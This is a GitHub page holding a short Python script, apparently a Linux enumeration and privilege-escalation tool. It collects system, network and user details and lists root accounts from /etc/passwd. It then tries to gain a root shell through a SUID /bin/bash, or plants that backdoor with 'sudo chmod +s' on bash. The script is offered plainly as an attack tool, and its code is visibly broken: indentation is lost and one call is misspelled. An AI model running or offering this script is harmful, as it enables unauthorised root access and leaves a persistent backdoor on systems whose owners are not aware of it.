Skip to content
Permalink
startingpoint
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
executable file 42 lines (38 sloc) 1.15 KB
#!/usr/bin/env python3
import platform
import socket
import os
def OsDiscovery():
print("OS BASED INFO:\n")
release=platform.release()
os=platform.system()
version=platform.version()
print(f"System's version: {version}")
print(f"System's OS: {os}")
print(f"System's kernel: {release}")
print(f"System platform: {platform.processor()}")
print(f"System's network name: {platform.node()}")
print("\n")
def NetworkDiscovery():
print ("NETWORKING INFO:\n")
#os.system("/sbin/ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d'")
os.system("/sbin/ifconfig -a")
os.system("route")
print("\n")
def Users():
print("USER INFO\n")
print(f"You are logged in as: ")
os.system("whoami")
print("\nUsefull info about the user:")
os.system("id")
print("\nSuperusers:")
os.system("grep -v -E '^#' /etc/passwd | awk -F: '$3 ==0{print $1}'")
def Bashcalation():
ceva="-rwsr-sr-x"
os.system("ls -la ~/../../bin/bash > escalated.txt")
file=open("escalated.txt")
escal=file.read()
if ceva in escal:
os.system("exec ~/../../bin/bash -p")
else:
os.sysyem("sudo chmod +s ~/../../bin/bash | exec ~/../../bin/bash -p")